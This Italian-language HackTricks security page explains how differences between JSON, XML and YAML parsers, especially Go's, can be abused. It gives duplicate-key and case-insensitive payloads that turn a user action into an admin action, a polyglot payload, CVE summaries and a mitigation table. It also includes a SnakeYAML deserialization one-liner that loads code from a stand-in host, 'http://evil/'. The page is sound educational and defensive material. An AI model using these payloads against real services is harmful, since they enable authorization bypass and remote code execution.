JSON, XML & Yaml Hacking & Problemi

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Go JSON Decoder

I seguenti problemi sono stati rilevati nel Go JSON sebbene possano essere presenti anche in altri linguaggi. Questi problemi sono stati pubblicati in this blog post.

I parser JSON, XML e YAML di Go presentano una lunga serie di incoerenze e default insicuri che possono essere abusati per bypass authentication, escalate privileges, o exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

Lo scopo è sfruttare structs che permettono a un attacker di leggere/scrivere campi sensibili (es., IsAdmin, Password).

  • Struct di esempio:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Vulnerabilità comuni
  1. Tag mancante (nessun tag = il campo viene ancora analizzato per impostazione predefinita):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. Uso scorretto di -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Modalità corretta per impedire che un campo venga (un)marshaled:

type User struct {
IsAdmin bool `json:"-"`
}

Differenze dei parser

L’obiettivo è il bypass dell’autorizzazione sfruttando come parser differenti interpretano in modo diverso lo stesso payload, come in:

  • CVE-2017-12635: Apache CouchDB bypass tramite chiavi duplicate
  • 2022: Zoom 0-click RCE a causa di incoerenze del parser XML
  • GitLab 2025 SAML bypass a causa di peculiarità dell’XML

1. Campi duplicati: Il encoding/json di Go prende l’ultimo campo.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Altri parser (ad esempio Java’s Jackson) possono prendere il primo.

2. Insensibilità alle maiuscole/minuscole: Go non fa distinzione tra maiuscole e minuscole:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Anche i trucchi Unicode funzionano:

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: Immagina:

  • Proxy scritto in Go
  • AuthZ service scritto in Python

Attacker invia:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python vede UserAction, lo permette
  • Go vede AdminAction, lo esegue

Confusione di formati dati (Polyglots)

L’obiettivo è sfruttare sistemi che mescolano formati (JSON/XML/YAML) o che falliscono in modalità ‘fail open’ su errori del parser, come:

  • CVE-2020-16250: HashiCorp Vault ha analizzato JSON con un parser XML dopo che STS ha restituito JSON invece di XML.

L’attaccante controlla:

  • L’header Accept: application/json
  • Controllo parziale del corpo JSON

Il parser XML di Go l’ha comunque analizzato e si è fidato dell’identità iniettata.

  • Payload costruito:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Risultato:

  • Go JSON parser: Action_2 (senza distinzione tra maiuscole e minuscole + l’ultimo prevale)
  • YAML parser: Action_1 (sensibile a maiuscole/minuscole)
  • XML parser: analizza "Action_3" all’interno della stringa

Vulnerabilità notevoli dei parser (2023-2025)

Le seguenti issue sfruttabili pubblicamente mostrano che il parsing insicuro è un problema multilingue — non solo un problema di Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Colpisce: org.yaml:snakeyaml < 2.0 (usato da Spring-Boot, Jenkins, etc.).
  • Causa principale: new Constructor() deserializza classi Java arbitrarie, consentendo gadget chains che culminano in remote-code execution.
  • One-liner PoC (aprirà la calcolatrice sull’host vulnerabile):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Correzione / Mitigazione:
  1. Aggiornare a ≥2.0 (usa SafeLoader di default).
  2. Nelle versioni più vecchie, usare esplicitamente new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Interessa: libyaml ≤0.2.5 (libreria C utilizzata da molti language bindings).
  • Problema: chiamare yaml_event_delete() due volte causa un double-free che gli attackers possono trasformare in DoS o, in alcuni scenari, in heap exploitation.
  • Stato: Upstream ha respinto come “API misuse”, ma le distribuzioni Linux hanno distribuito la versione patchata 0.2.6 che null-frees il puntatore per difesa.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Interessa: Tencent RapidJSON prima del commit 8269bc2 (<1.1.0-patch-22).
  • Bug: in GenericReader::ParseNumber() operazioni aritmetiche non controllate permettono agli attackers di craftare letterali numerici enormi che vanno in wrap-around e corrompono la heap — consentendo infine privilege-escalation quando il grafo di oggetti risultante viene usato per decisioni di autorizzazione.

🔐 Mitigazioni (Aggiornate)

RischioCorrezione / Raccomandazione
Campi sconosciuti (JSON)decoder.DisallowUnknownFields()
Campi duplicati (JSON)❌ Nessuna correzione nella stdlib — convalida con jsoncheck
Case-insensitive match (Go)❌ Nessuna correzione — convalida struct tags + pre-canonicalizza l’input
Dati spazzatura XML / XXEUsa un parser rinforzato (encoding/xml + DisallowDTD)
Chiavi YAML sconosciuteyaml.KnownFields(true)
Deserializzazione YAML non sicuraUsa SafeConstructor / upgrade a SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeAggiorna a 0.2.6 o a una release distro-patchata
RapidJSON <patched commitCompila contro l’ultima RapidJSON (≥luglio 2024)

Vedi anche

Mass Assignment Cwe 915

Riferimenti

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks